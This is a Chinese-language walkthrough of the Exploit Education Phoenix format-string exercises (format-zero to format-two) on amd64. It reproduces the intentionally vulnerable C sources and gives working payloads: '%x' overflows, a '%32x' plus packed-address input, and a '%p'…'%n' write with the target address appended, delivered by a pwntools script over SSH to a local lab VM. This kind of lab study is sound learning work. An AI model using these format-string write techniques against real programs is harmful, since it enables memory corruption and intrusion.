新的章节讲的是利用格式化字符串漏洞的故事。
format-two全是x86的题解，找了半天才在一个评论区里找到如何回避x86_64下\x00的坑
format-zero
本题源码
/*
* phoenix/format-zero, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* 0 bottles of beer on the wall, 0 bottles of beer! You take one down, and
* pass it around, 4294967295 bottles of beer on the wall!
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int main(int argc, char **argv) {
struct {
char dest[32];
volatile int changeme;
} locals;
char buffer[16];
printf("%s\n", BANNER);
if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
errx(1, "Unable to get buffer");
}
buffer[15] = 0;
locals.changeme = 0;
sprintf(locals.dest, buffer);
if (locals.changeme != 0) {
puts("Well done, the 'changeme' variable has been changed!");
} else {
puts(
"Uh oh, 'changeme' has not yet been changed. Would you like to try "
"again?");
}
exit(0);
}
solve
用15位的格式字符串，产生32位以上的输出，就可以覆盖到changeme。
c的可变参数是存在栈上的，对参数个数没有任何校验。所以我们直接搞一堆数字出来就行了。
user@phoenix-amd64:~$ python -c "print('%x'*15)"|/opt/phoenix/amd64/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
用gdb看一下内存里格式化出了个什么：
(gdb) p (char*)0x00007fffffffe650
$4 = 0x7fffffffe650 "ffffe640f7ffc546712e712ea0a0a0affffe6d8078257825"
有48位呢
啊啊啊突然想起可以用"%32x"。。。。（为什么32位够呢，因为输入末尾有个\n）
format-one
把changeme改成固定的0x45764f6c。只要在上一题的基础上接一个就行。
user@phoenix-amd64:~$ python -c "from pwn import *;print('%32x'+p64(0x45764f6c))"|/opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!
p64用来把64位整数打包成bytes。
format-two
源码
/*
* phoenix/format-two, by https://exploit.education
*
* Can you change the "changeme" variable?
*
* What kind of flower should never be put in a vase?
* A cauliflower.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
int changeme;
void bounce(char *str) {
printf(str);
}
int main(int argc, char **argv) {
char buf[256];
printf("%s\n", BANNER);
if (argc > 1) {
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], sizeof(buf));
bounce(buf);
}
if (changeme != 0) {
puts("Well done, the 'changeme' variable has been changed correctly!");
} else {
puts("Better luck next time!\n");
}
exit(0);
}
理论
利用%n将已输出的字节数写入某个地址。
由于这里printf没有后面的参数，就可以写入栈里的某个地址。
首先 我们要找到 栈顶 距 我们可以控制的输入 有多远，然后填入%p，一个%p就可以消耗8字节。
此时x86和x86_64的情况有些不同，x86可以像这样（https://n1ght-w0lf.github.io/binary exploitation/format-two/）
/opt/phoenix/i486/format-two $'\x68\x98\x04\x08%x %x %x %x %x %x %x %x %x %x %x %n \n'
把要写入的地址（changeme的地址）放在最前面，然后根据计算出的栈顶到字符串的距离写%x。
但是，x64的changeme地址末尾有\x00，还像上面那样搞会被截断，不过我们可以像这样：（https://blog.lamarranet.com/index.php/exploit-education-phoenix-format-two-solution/的评论区）
/opt/phoenix/amd64/format-two $'%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%n\xf0\x0a\x60'
每多一个%p字符串增加两字节，但是可以消耗掉栈上的8字节，这就形成了一个追及问题，直到某个数量后，栈上%n下面正好是0x00600af0。
坑
bash里拿$(balabala)作为参数时，如果里面有换行，会自动变成两个参数。
所以不能
/opt/phoenix/amd64/format-two $(cat payload)
来点python
from pwn import *
shell = ssh("user", "localhost", password="user", port=2222)
shellcode = b'%p'*15+b'%n\xf0\x0a\x60'
sh = shell.process(argv=["/opt/phoenix/amd64/format-two", shellcode])
sh.interactive()
